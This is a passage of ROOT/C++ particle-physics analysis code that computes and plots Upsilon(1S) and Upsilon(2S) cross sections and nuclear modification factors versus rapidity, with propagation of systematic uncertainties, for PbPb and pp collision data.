raaPtTamu1_max[i];\n\tin_tamu2 >> ptTamu2[i] >> raaPtTamu2_min[i] >> raaPtTamu2_max[i];\n\ttamu1[i]= (raaPtTamu1_max[i] + raaPtTamu1_min[i])/2;\n\ttamu2[i]= (raaPtTamu2_max[i] + raaPtTamu2_min[i])/2;\n\ttamu1err[i]=(raaPtTamu1_max[i] - raaPtTamu1_min[i])/2 + 0.02; //add 0.01 for thicker look\n\ttamu2err[i]=(raaPtTamu2_max[i] - raaPtTamu2_min[i])/2 + 0.005;\n }\n TGraphErrors* tamu1S = new TGraphErrors(41, ptTamu1, tamu1, 0, tamu1err);\n TGraphErrors* tamu2S = new TGraphErrors(41, ptTamu2, tamu2, 0, tamu2err);\n tamu1S->SetLineWidth(2);\n tamu2S->SetLineWidth(2);\n tamu1S->SetFillColorAlpha(kRed+1,0.4); //color1Saa\n tamu1S->SetFillStyle(1001);\n tamu2S->SetFillColorAlpha(kBlue+1,0.6); //color2Saa\n tamu2S->SetFillStyle(1001);\n tamu1S->Draw(\"3\");\n tamu2S->Draw(\"3\");\n\n gpt1TNPRAA->Draw(\"pe\");\n gpt1circleRAA->Draw(\"p\");\n gPt1RAAsyst->Draw(\"2\");\n\n gpt2TNPRAA->Draw(\"pe\");\n gpt2circleRAA->Draw(\"p\");\n gPt2RAAsyst->Draw(\"2\");\n\t// Cent. 0-100 %\n\tTLatex latexptRaaRapp;\n\tlatexptRaaRapp.SetTextSize(gTextSize);\n\tlatexptRaaRapp.SetTextFont(42);\n\tlatexptRaaRapp.DrawLatex(1.5,1.08,\"Cent. 0-100%, |y| < 2.4\"); // y=1.2 before\n\tif (!plotBox) {\n\t latexptRaaRapp.DrawLatex(1.5,0.83,Form(\"Global uncertainty: %.1f\",100*systXS_raa_glob));\n\t latexptRaaRapp.DrawLatex(10.5,0.83,\"%\"); /// y=1.1 before\n\t} else{\n\t /// plotBox goes here.\n\t TBox *boxPt = new TBox(19.2,1-systXS_raa_glob,20,1+systXS_raa_glob); \n\t boxPt->SetFillColor(kGray);\n\t boxPt->Draw();\n\t}\n\tTLegend *legRappPt = new TLegend(0.23,0.55,0.45,0.77);\n\tlegRappPt->SetBorderSize(0);\n\tlegRappPt->SetTextSize(gTextSize-0.005);\n\tlegRappPt->SetTextFont(42);\n\tlegRappPt->SetLineColor(0);\n\tlegRappPt->SetLineStyle(2);\n\tlegRappPt->SetLineWidth(1);\n\tlegRappPt->SetFillColor(0);\n\tlegRappPt->SetFillStyle(0);\n\tlegRappPt->SetHeader(\"Rapp et al., private comm.\");\n\tlegRappPt->AddEntry(tamu1S,\" \",\"f\");\n\tlegRappPt->AddEntry(tamu2S,\" \",\"f\");\n\tlegRappPt->Draw();\n\tlegend_RAApt->SetX1(0.33), legend_RAApt->SetX2(0.6);\n\tlegend_RAApt->Draw();\n\tCMS_lumi(cRaaptRapp,104,33);\n\tcRaaptRapp->SaveAs(basedir2 + TString(\"/RAA_Pt_Rapp.pdf\"));\n\tcRaaptRapp->SaveAs(\"~/Desktop/RAA_Pt_Rapp.pdf\");\n\tcRaaptRapp->SaveAs(basedir1 + TString(\"/RAA_Pt_Rapp.pdf\"));\n\n }\n\n /// done.\n ///===============================\n /// (PbPb cross sections + pp cross sections in Large Bins) vs Rap\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n /// 6. Draw and save\n ///-------------------------------\n /// 1.a. Y(1S)\n float CS1S_aa_tnp_rap[nRapBins_2014] = {};\n float CS1S_aa_tnp_rape[nRapBins_2014] = {};\n float CS1S_aa_tnp_raps[nRapBins_2014] = {};\n\n /// 1.b. Y(2S)\n float CS2S_aa_tnp_rap[nRapBins_2010] = {};\n float CS2S_aa_tnp_rape[nRapBins_2010] = {};\n float CS2S_aa_tnp_raps[nRapBins_2010] = {};\n\n /// 1.d. Y(2S) pp large\n float CS2S_ppL_tnp_rap[nRapBins_2010] = {};\n float CS2S_ppL_tnp_rape[nRapBins_2010] = {};\n float CS2S_ppL_tnp_raps[nRapBins_2010] = {};\n\n /// 2.a Y(1S)\n float stat1S_aa_rap[nRapBins_2014]={}; //stat. aa relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float syst1S_aatnp_rap[nRapBins_2014]={};// tnp uncertainty\n float syst1S_aa_rap[nRapBins_2014]={}; //fit syst. uncertainty.\n float syst1S_aags_rap[nRapBins_2014]={}; //gen shape\n float syst1S_aasta_rap[nRapBins_2014]={}; ///sta uncertainty\n float syst1S_aamuid_rap[nRapBins_2014]={};/// muid uncertainty\n float syst1S_csaa_rap[nRapBins_2014]={}; /// quadratic sum.\n\n /// 2.b Y(2S)\n float stat2S_aa_rap[nRapBins_2010]={}; //stat. aa relative uncertainty (contributing to R_AA as a rap to rap syst. uncertainty!\n float syst2S_aatnp_rap[nRapBins_2010]={};// tnp uncertainty\n float syst2S_aa_rap[nRapBins_2010]={}; //fit syst. uncertainty.\n float syst2S_aags_rap[nRapBins_2010]={}; //gen shape\n float syst2S_aasta_rap[nRapBins_2010]={}; ///sta uncertainty\n float syst2S_aamuid_rap[nRapBins_2010]={};/// muid uncertainty\n float syst2S_csaa_rap[nRapBins_2010]={}; /// quadratic sum.\n\n /// 2.d Y(2S)\n float stat2S_ppL_rap[nRapBins_2010]={}; //stat. aa relative uncertainty (contributing to R_AA as a rap to rap syst. uncertainty!\n float syst2S_ppLtnp_rap[nRapBins_2010]={};// tnp uncertainty\n float syst2S_pp_rapLarge[nRapBins_2010]={}; //fit syst. uncertainty.\n float syst2S_ppLgs_rap[nRapBins_2010]={}; //gen shape\n float syst2S_ppLsta_rap[nRapBins_2010]={}; ///sta uncertainty\n float syst2S_ppLmuid_rap[nRapBins_2010]={};/// muid uncertainty\n float syst2S_csppL_rap[nRapBins_2010]={}; /// quadratic sum.\n\n /// 3.\n syst1S_aa_rap[0]= ppAlphaSyst(N1S_aa_rap3p5_2014[0],N1S_aa_rap3p5s_0p4,N1B_aa_rap3p5s_0p4,N1S_pp_rap3p5_2014[0],N1S_pp_rap3p5s_0p4[1]);\n syst1S_aa_rap[1]= ppAlphaSyst(N1S_aa_rap3p5_2014[1],N1S_aa_rap3p5s_0p8,N1B_aa_rap3p5s_0p8,N1S_pp_rap3p5_2014[1],N1S_pp_rap3p5s_0p8[1]);\n syst1S_aa_rap[2]= ppAlphaSyst(N1S_aa_rap3p5_2014[2],N1S_aa_rap3p5s_1p2,N1B_aa_rap3p5s_1p2,N1S_pp_rap3p5_2014[2],N1S_pp_rap3p5s_1p2[1]);\n syst1S_aa_rap[3]= ppAlphaSyst(N1S_aa_rap3p5_2014[3],N1S_aa_rap3p5s_1p6,N1B_aa_rap3p5s_1p6,N1S_pp_rap3p5_2014[3],N1S_pp_rap3p5s_1p6[1]);\n syst1S_aa_rap[4]= ppAlphaSyst(N1S_aa_rap3p5_2014[4],N1S_aa_rap3p5s_2p0,N1B_aa_rap3p5s_2p0,N1S_pp_rap3p5_2014[4],N1S_pp_rap3p5s_2p0[1]);\n syst1S_aa_rap[5]= ppAlphaSyst(N1S_aa_rap3p5_2014[5],N1S_aa_rap3p5s_2p4,N1B_aa_rap3p5s_2p4,N1S_pp_rap3p5_2014[5],N1S_pp_rap3p5s_2p4[1]);\n \n syst2S_pp_rapLarge[0]=ppAlphaSyst(N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2,N2B_pp_rap4Larges_1p2,N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2[1]);\n syst2S_pp_rapLarge[1]=ppAlphaSyst(N2S_pp_rap4_2014Large[1],N2S_pp_rap4Larges_2p4,N2B_pp_rap4Larges_2p4,N2S_pp_rap4_2014Large[1],N2S_pp_rap4Larges_2p4[1]);\n\n syst2S_aa_rap[0]=ppAlphaSyst(N2S_aa_rap4_2014Large[0],N2S_aa_rap4Larges_1p2,N2B_aa_rap4Larges_1p2,N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2[1]);\n syst2S_aa_rap[1]=ppAlphaSyst(N2S_aa_rap4_2014Large[1],N2S_aa_rap4Larges_2p4,N2B_aa_rap4Larges_2p4,N2S_pp_rap4_2014Large[1],N2S_pp_rap4Larges_2p4[1]);\n\n \n \n for(int i = 0 ; i<nRapBins_2014 ; i++)\n {\n stat1S_aa_rap[i]=N1S_aa_rap3p5_2014e[i]/N1S_aa_rap3p5_2014[i];\n syst1S_aatnp_rap[i]=Aet_1S_pyquen_rap2014_fulls[i]/Aet_1S_pyquen_rap2014_STA[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst1S_aags_rap[i]=Aet_1S_pyquen_rap2014_STAe[i]/Aet_1S_pyquen_rap2014_STA[i]; // doesnt matter if we use STA or MuID\n syst1S_aasta_rap[i]=Aet_1S_pyquen_rap2014_STAs[i]/Aet_1S_pyquen_rap2014_STA[i];\n syst1S_aamuid_rap[i]=Aet_1S_pyquen_rap2014_muIDTrigs[i]/Aet_1S_pyquen_rap2014_muIDTrig[i];\n syst1S_csaa_rap[i]=sqrt(syst1S_aatnp_rap[i]*syst1S_aatnp_rap[i]+syst1S_aa_rap[i]*syst1S_aa_rap[i]+pow(syst1S_aags_rap[i],2));\n }\n // large rap bins for Y(2S), pbpb and pp, and 1S large pp, large pbpb bins (for DR)\n for(int i = 0 ; i<nRapBins_2010 ; i++)\n {\n stat2S_aa_rap[i]= N2S_aa_rap4_2014Largee[i]/ N2S_aa_rap4_2014Large[i];\n syst2S_aatnp_rap[i]=Aet_2S_pyquen_rap2014Larges[i]/Aet_2S_pyquen_rap2014Large[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst2S_aags_rap[i]=Aet_2S_pyquen_rap2014Largee[i]/Aet_2S_pyquen_rap2014Large[i];\n syst2S_aasta_rap[i]=Aet_2S_pyquen_rap2014Large_STAe[i]/Aet_2S_pyquen_rap2014Large[i];\n syst2S_aamuid_rap[i]=Aet_2S_pyquen_rap2014Large_muIDTrige[i]/Aet_2S_pyquen_rap2014Large[i];\n syst2S_csaa_rap[i]=sqrt(syst2S_aatnp_rap[i]*syst2S_aatnp_rap[i]+syst2S_aa_rap[i]*syst2S_aa_rap[i]+pow(syst2S_aags_rap[i],2));\n \n stat2S_ppL_rap[i]= N2S_pp_rap4_2014Largee[i]/ N2S_pp_rap4_2014Large[i];\n syst2S_ppLtnp_rap[i]=Aet_2S_pythia_rap2014Larges[i]/Aet_2S_pythia_rap2014Large[i]; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst2S_ppLgs_rap[i]=Aet_2S_pythia_rap2014Largee[i]/Aet_2S_pythia_rap2014Large[i];\n syst2S_ppLsta_rap[i]=Aet_2S_pythia_rap2014Large_STAe[i]/Aet_2S_pythia_rap2014Large[i];\n syst2S_ppLmuid_rap[i]=Aet_2S_pythia_rap2014Large_muIDTrige[i]/Aet_2S_pythia_rap2014Large[i];\n syst2S_csppL_rap[i]=sqrt(syst2S_ppLtnp_rap[i]*syst2S_ppLtnp_rap[i]+syst2S_pp_rapLarge[i]*syst2S_pp_rapLarge[i]+pow(syst2S_ppLgs_rap[i],2));\n }\n /// 4.a Y(1S)\n for(int i = 0 ; i<nRapBins_2014 ; i++)\n {\n CS1S_aa_tnp_rap[i]= computeRatio( N1S_aa_rap3p5_2014[i] , Aet_1S_pyquen_rap2014_STA[i] )/(N_MB_corr * T_AA_b*deltaRapEven[i]);\n CS1S_aa_tnp_rape[i] = computeRatioError( N1S_aa_rap3p5_2014[i] , Aet_1S_pyquen_rap2014_STA[i], N1S_aa_rap3p5_2014e[i] ,0)/(N_MB_corr * T_AA_b*deltaRapEven[i]);\n CS1S_aa_tnp_raps[i] = CS1S_aa_tnp_rap[i]*syst1S_csaa_rap[i];\n }\n /// 4.b,c,d,e Y(2S) pbpb, 2S pp, 1S pp, 1S aa\n for(int i = 0 ; i<nRapBins_2010 ; i++)\n {\n CS2S_aa_tnp_rap[i]= computeRatio(N2S_aa_rap4_2014Large[i] , Aet_2S_pyquen_rap2014Large[i] )/(N_MB_corr * T_AA_b*deltaRap2010[i]);\n CS2S_aa_tnp_rape[i] = computeRatioError(N2S_aa_rap4_2014Large[i] , Aet_2S_pyquen_rap2014Large[i], N2S_aa_rap4_2014Largee[i] ,0)/(N_MB_corr * T_AA_b*deltaRap2010[i]);\n CS2S_aa_tnp_raps[i] = CS2S_aa_tnp_rap[i]*syst2S_csaa_rap[i];\n //4.c 2S pp Large, computed with:\n //N2S rap4 in large bins,\n //Aet 2S in large bins (also rap4)\n //systematics in large bins with up to date TNP.\n CS2S_ppL_tnp_rap[i]= computeRatio(N2S_pp_rap4_2014Large[i] , Aet_2S_pythia_rap2014Large[i] )/(L_pp_invNb*deltaRap2010[i]);\n CS2S_ppL_tnp_rape[i] = computeRatioError(N2S_pp_rap4_2014Large[i] , Aet_2S_pythia_rap2014Large[i], N2S_pp_rap4_2014Largee[i] ,0)/(L_pp_invNb*deltaRap2010[i]);\n CS2S_ppL_tnp_raps[i] = CS2S_ppL_tnp_rap[i]*syst2S_csppL_rap[i];\n \n }\n ///5.a. Y(1S)\n ofSyst <<\"1S PbPb Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.trk\"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofSyst << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n stat1S_aa_rap[j] << \" & \" <<\n syst1S_csaa_rap[j] << \" & \" <<\n syst1S_aa_rap[j] << \" & \" <<\n syst1S_aags_rap[j] << \" & \" <<\n syst1S_aamuid_rap[j] << \" & \" <<\n syst1S_aasta_rap[j] << \" & \" <<\n syst_taa << \" & \" <<\n tracking_aa <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"1S PbPb Rap Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofRes << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n CS1S_aa_tnp_rap[j] << \" \\\\pm \"<<\n CS1S_aa_tnp_rape[j]<<\" \\\\pm \"<<\n CS1S_aa_tnp_raps[j]<<\" \\\\pm \"<<\n CS1S_aa_tnp_rap[j]*systXS_aa_glob<< \" \\\\\\\\\"\n\t << endl;\n }\n \n ///5.b. Y(2S)\n ofSyst <<\"2S PbPb Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.trk\"<<endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofSyst << (binsRap2010[j]).c_str() << \" & \" << setprecision(3) << \n stat2S_aa_rap[j] << \" & \" <<\n syst2S_csaa_rap[j] << \" & \" <<\n syst2S_aa_rap[j] << \" & \" <<\n syst2S_aags_rap[j] << \" & \" <<\n syst2S_aamuid_rap[j] << \" & \" <<\n syst2S_aasta_rap[j] << \" & \" <<\n syst_taa << \" & \" <<\n tracking_aa <<\" \\\\\\\\ \" << endl;\n }\n\n ofRes<<\"2S PbPb Rap Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofRes << (binsRap2010[j]).c_str() << \" & \" << setprecision(3) << \n CS2S_aa_tnp_rap[j] << \" \\\\pm \"<<\n CS2S_aa_tnp_rape[j]<<\" \\\\pm \"<<\n CS2S_aa_tnp_raps[j]<<\" \\\\pm \"<<\n CS2S_aa_tnp_rap[j]*systXS_aa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n \n ///5.c. Y(2S) pp Large\n ofSyst <<\"2S pp large Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofSyst << (binsRap2010[j]).c_str() << \" & \" << setprecision(3) << \n stat2S_ppL_rap[j] << \" & \" <<\n syst2S_csppL_rap[j] << \" & \" <<\n syst2S_pp_rapLarge[j] << \" & \" <<\n syst2S_ppLgs_rap[j] << \" & \" <<\n syst2S_ppLmuid_rap[j] << \" & \" <<\n syst2S_ppLsta_rap[j] << \" & \" <<\n syst_lumi << \" & \" <<\n tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"2S pp Rap Large Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofRes << (binsRap2010[j]).c_str() << \" & \" << setprecision(3) << \n CS2S_ppL_tnp_rap[j] << \" \\\\pm \"<<\n CS2S_ppL_tnp_rape[j]<<\" \\\\pm \"<<\n CS2S_ppL_tnp_raps[j]<<\" \\\\pm \"<<\n CS2S_ppL_tnp_rap[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n\n /// 6.a plot AA cross section\n TCanvas *crapaa = new TCanvas(\"crapaa\",\"crapaa\"); \n crapaa->SetLogy();\n crapaa->cd();\n TF1 *f4Rapaa = new TF1(\"f4Rapaa\",\"10\",0,2.4);\n f4Rapaa->SetLineWidth(0);\n f4Rapaa->GetXaxis()->SetTitle(\"|y|\");\n f4Rapaa->GetYaxis()->SetTitle(\"#frac{1}{T_{AA}} #frac{dN}{dy} (nb)\");\n \n f4Rapaa->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4Rapaa->GetXaxis()->SetTitleOffset(f4Rapaa->GetXaxis()->GetTitleOffset()*1.1);\n f4Rapaa->GetYaxis()->SetTitleSize(gTextSize);\n f4Rapaa->GetYaxis()->SetLabelSize(0.9*f4Rapaa->GetYaxis()->GetLabelSize()); // Y axis title is fat\n f4Rapaa->GetYaxis()->SetTitleOffset(1.55);\n f4Rapaa->GetYaxis()->SetRangeUser(0.01,1.6);\n //f4Rapaa->GetYaxis()->SetRangeUser(0.01,.09);\n f4Rapaa->GetXaxis()->CenterTitle(kTRUE);\n f4Rapaa->Draw();\n TGraphErrors *grap1TNPaa = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_tnp_rap,0,CS1S_aa_tnp_rape);\n grap1TNPaa->SetMarkerColor(color1Saa);\n grap1TNPaa->SetMarkerStyle(symbol1S);\n grap1TNPaa->SetMarkerSize(markerSize);\n TGraphErrors *grap1circleaa = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_tnp_rap,0,CS1S_aa_tnp_rape);\n grap1circleaa->SetMarkerStyle(symbol1Sc);\n grap1circleaa->SetMarkerSize(markerSize);\n grap1circleaa->SetLineColor(kBlack);\n grap1circleaa->SetLineWidth(2);\n TGraphErrors *gRap1aasyst = new TGraphErrors(nRapBins_2014,rap2014,CS1S_aa_tnp_rap,rap2014e,CS1S_aa_tnp_raps);\n gRap1aasyst->SetLineColor(color1Saa);\n gRap1aasyst->SetFillStyle(0);\n gRap1aasyst->SetLineWidth(2);\n gRap1aasyst->SetMarkerSize(0);\n gRap1aasyst->Draw(\"2\");\n grap1TNPaa->Draw(\"pe\");\n grap1circleaa->Draw(\"p\");\n TGraphErrors *grap2TNPaa = new TGraphErrors(nRapBins_2010,rap2010,CS2S_aa_tnp_rap,0,CS2S_aa_tnp_rape);\n grap2TNPaa->SetMarkerColor(color2Saa);\n grap2TNPaa->SetMarkerStyle(symbol2S);\n grap2TNPaa->SetMarkerSize(markerSize);\n TGraphErrors *grap2circleaa = new TGraphErrors(nRapBins_2010,rap2010,CS2S_aa_tnp_rap,0,CS2S_aa_tnp_rape);\n grap2circleaa->SetMarkerStyle(symbol2Sc);\n grap2circleaa->SetMarkerSize(markerSize);\n grap2circleaa->SetLineColor(kBlack);\n grap2circleaa->SetLineWidth(2);\n TGraphErrors *gRap2aasyst = new TGraphErrors(nRapBins_2010,rap2010,CS2S_aa_tnp_rap,rap2010e,CS2S_aa_tnp_raps);\n gRap2aasyst->SetLineColor(color2Saa);\n gRap2aasyst->SetFillStyle(0);\n gRap2aasyst->SetLineWidth(2);\n gRap2aasyst->SetMarkerSize(0);\n gRap2aasyst->Draw(\"2\");\n grap2TNPaa->Draw(\"pe\");\n grap2circleaa->Draw(\"p\");\n TLegend *legend_csaarap = new TLegend(0.24,0.4,0.49,0.59);\n legend_csaarap->SetTextSize(gTextSize);\n legend_csaarap->SetFillStyle(0);\n legend_csaarap->SetFillColor(0);\n legend_csaarap->SetBorderSize(0);\n legend_csaarap->SetTextFont(42);\n legend_csaarap->AddEntry(grap1TNPaa,\"#varUpsilon(1S) \",\"pe\"); \n legend_csaarap->AddEntry(grap2TNPaa,\"#varUpsilon(2S) \",\"pe\");\n legend_csaarap->Draw();\n\n // |y| < 2.4\n TLatex latexrapaa;\n latexrapaa.SetTextSize(gTextSize);\n latexrapaa.SetTextFont(42);\n TLatex *latexraptxtaa = latexrapaa.DrawLatex(15.7,0.025,\"|y| < 2.4\");\n ///plotBox.\n CMS_lumi(crapaa,104,33);\n crapaa->Update();\n crapaa->RedrawAxis();\n crapaa->GetFrame()->Draw();\n crapaa->SaveAs(basedir2 + TString(\"/CS_aa_Rap.pdf\"));\n crapaa->SaveAs(basedir2 + TString(\"/CS_aa_Rap.png\"));\n crapaa->SaveAs(basedir1 + TString(\"/pdf/Xsection_aaNS_Rap.pdf\"));\n crapaa->SaveAs(basedir1 + TString(\"/png/Xsection_aaNS_Rap.png\"));\n\n if (plotLin)\n {\n crapaa->SetLogy(0);\n legend_csaarap->SetX1NDC(0.77); legend_csaarap->SetX2NDC(1.); legend_csaarap->SetY1NDC(0.40); legend_csaarap->SetY2NDC(0.61); legend_csaarap->Draw();\n crapaa->cd();\n gPad->Update();\n f4Rapaa->GetYaxis()->SetRangeUser(0.0,1.);\n f4Rapaa->GetYaxis()->SetTitleOffset(1.8);\n f4Rapaa->GetYaxis()->SetTitleSize(gTextSize);\n latexraptxtaa->SetY(0.085);\n latexraptxtaa->Draw();\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n crapaa->SaveAs(basedir2 + TString(\"/CSNS_aaRap_lin.pdf\"));\n crapaa->SaveAs(basedir2 + TString(\"/CSNS_aaRap_lin.png\"));\n crapaa->SaveAs(basedir1 + TString(\"/pdf/Xsection_aaNS_Rap_lin.pdf\"));\n crapaa->SaveAs(basedir1 + TString(\"/png/Xsection_aaNS_Rap_lin.png\"));\n }\n\n crapaa->Close();\n\n ///===============================\n /// RAA vs Rap\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n /// 6. Draw and save\n ///-------------------------------\n /// 1.a. Y(1S)\n float RAA_1S_tnp_rap[nRapBins_2014] = {};\n float RAA_1S_tnp_rape[nRapBins_2014] = {};\n float RAA_1S_tnp_raps[nRapBins_2014] = {};\n float RAA_1S_tnp_rapsT[nRapBins_2014] = {}; //total!\n /// 1.b. Y(2S)\n float RAA_2S_tnp_rap[nRapBins_2010] = {};\n float RAA_2S_tnp_rape[nRapBins_2010] = {};\n float RAA_2S_tnp_raps[nRapBins_2010] = {};\n float RAA_2S_tnp_rapsT[nRapBins_2010] = {}; //total!\n /// 2.a Y(1S)\n float syst1S_raa_rap[nRapBins_2014]={}; /// quadratic sum\n /// 2.b Y(2S)\n float syst2S_raa_rap[nRapBins_2010]={}; /// quadratic sum\n //3.a Y(1S)\n for(int i =0 ; i<nRapBins_2014 ; i++)\n {\n syst1S_raa_rap[i]=sqrt(pow(stat1S_pp_rap[i],2)+syst1S_pptnp_rap[i]*syst1S_pptnp_rap[i]+syst1S_pp_rap[i]*syst1S_pp_rap[i]+pow(syst1S_ppgs_rap[i],2)+syst1S_aatnp_rap[i]*syst1S_aatnp_rap[i]+syst1S_aa_rap[i]*syst1S_aa_rap[i]+pow(syst1S_aags_rap[i],2)); /// all the ones varying point-to-point\n }\n //3.b Y(2S)\n for(int i =0 ; i<nRapBins_2010 ; i++)\n {\n syst2S_raa_rap[i]=sqrt(pow(stat2S_ppL_rap[i],2)+syst2S_ppLtnp_rap[i]*syst2S_ppLtnp_rap[i]+syst2S_pp_rapLarge[i]*syst2S_pp_rapLarge[i]+pow(syst2S_ppLgs_rap[i],2)+syst2S_aatnp_rap[i]*syst2S_aatnp_rap[i]+syst2S_aa_rap[i]*syst2S_aa_rap[i]+pow(syst2S_aags_rap[i],2)); /// all the ones varying point-to-point\n }\n /// 4.a Y(1S)\n for(int i = 0 ; i<nRapBins_2014 ; i++)\n {\n RAA_1S_tnp_rap[i]=CS1S_aa_tnp_rap[i]/CS1S_pp_tnp_rap[i];\n RAA_1S_tnp_rape[i]=computeRatioError( CS1S_aa_tnp_rap[i] , CS1S_pp_tnp_rap[i], CS1S_aa_tnp_rape[i] , 0);\n RAA_1S_tnp_raps[i]=RAA_1S_tnp_rap[i]*syst1S_raa_rap[i];\n }\n /// 4.b Y(2S)\n for(int i = 0 ; i<nRapBins_2010 ; i++)\n {\n RAA_2S_tnp_rap[i]=CS2S_aa_tnp_rap[i]/CS2S_ppL_tnp_rap[i];\n RAA_2S_tnp_rape[i]=computeRatioError( CS2S_aa_tnp_rap[i] , CS2S_ppL_tnp_rap[i], CS2S_aa_tnp_rape[i] , 0);\n RAA_2S_tnp_raps[i]=RAA_2S_tnp_rap[i]*syst2S_raa_rap[i];\n }\n\n /// 5.a Y(1S)\n /// the detail of all systematics may be a bit too exhaustive, but it's good to have evverything on the same line.\n ofSyst <<\"1S RAA Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.trk\"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofSyst << (binsRap[j]).c_str() << \" & \" << setprecision(2) << \n\t stat1S_aa_rap[j] << \" & \" <<\n\t syst1S_raa_rap[j] << \" & \" <<\n\t syst1S_aa_rap[j] << \" & \" <<\n\t syst1S_aags_rap[j] << \" & \" <<\n\t syst1S_aamuid_rap[j] << \" & \" <<\n\t syst1S_aasta_rap[j] << \" & \" <<\n\t stat1S_pp_rap[j] << \" & \" <<\n\t syst1S_pp_rap[j] << \" & \" <<\n\t syst1S_ppgs_rap[j] << \" & \" <<\n\t syst1S_ppmuid_rap[j] << \" & \" <<\n\t syst1S_ppsta_rap[j] << \" & \" <<\n\t systXS_raa_glob << \" & \" <<\n\t syst_taa << \" & \" <<\n\t tracking_aa << \" & \" <<\n\t syst_nmb << \" & \" << \n\t syst_lumi << \" & \" <<\n\t tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n /// for tables\n ofRes<<\"1S RAA Rap Bins | RAA +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofRes << (binsRap[j]).c_str() << \" & \" << setprecision(3) << \n\t RAA_1S_tnp_rap[j] << \" \\\\pm \"<<\n\t RAA_1S_tnp_rape[j]<<\" \\\\pm \"<<\n\t RAA_1S_tnp_raps[j]<<\" \\\\pm \"<<\n\t RAA_1S_tnp_rap[j]*systXS_raa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n\n /// for plots, to share with your friends on facebook\n ofplot<<\"float raa1Srap[\"<<nRapBins_2014<<\"]={\";\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofplot <<RAA_1S_tnp_rap[j]; if (j==nRapBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa1Srap_e[\"<<nRapBins_2014<<\"]={\";\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofplot <<RAA_1S_tnp_rape[j]; if (j==nRapBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa1Srap_s[\"<<nRapBins_2014<<\"]={\";\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofplot <<RAA_1S_tnp_raps[j]; if (j==nRapBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n } \n ofplot<<\"float rapbin1[\"<<nRapBins_2014<<\"]={\";\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofplot <<rap2014[j]; if (j==nRapBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float rapbin1_e[\"<<nRapBins_2014<<\"]={\";\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n ofplot <<rap2014e[j]; if (j==nRapBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n\n\n /// 5.b Y(2S)\n ofSyst <<\"2S RAA Rap Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.trk\"<<endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofSyst << (binsRap2010[j]).c_str() << \" & \" << setprecision(2) << \n\t stat2S_aa_rap[j] << \" & \" <<\n\t syst2S_raa_rap[j] << \" & \" <<\n\t syst2S_aa_rap[j] << \" & \" <<\n\t syst2S_aags_rap[j] << \" & \" <<\n\t syst2S_aamuid_rap[j] << \" & \" <<\n\t syst2S_aasta_rap[j] << \" & \" <<\n\t stat2S_ppL_rap[j] << \" & \" <<\n\t syst2S_pp_rapLarge[j] << \" & \" <<\n\t syst2S_ppLgs_rap[j] << \" & \" <<\n\t syst2S_ppLmuid_rap[j] << \" & \" <<\n\t syst2S_ppLsta_rap[j] << \" & \" <<\n\t systXS_raa_glob << \" & \" <<\n\t syst_taa << \" & \" <<\n\t tracking_aa << \" & \" <<\n\t syst_nmb << \" & \" << \n\t syst_lumi << \" & \" <<\n\t tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ////for tables\n ofRes<<\"2S RAA Rap Bins | RAA 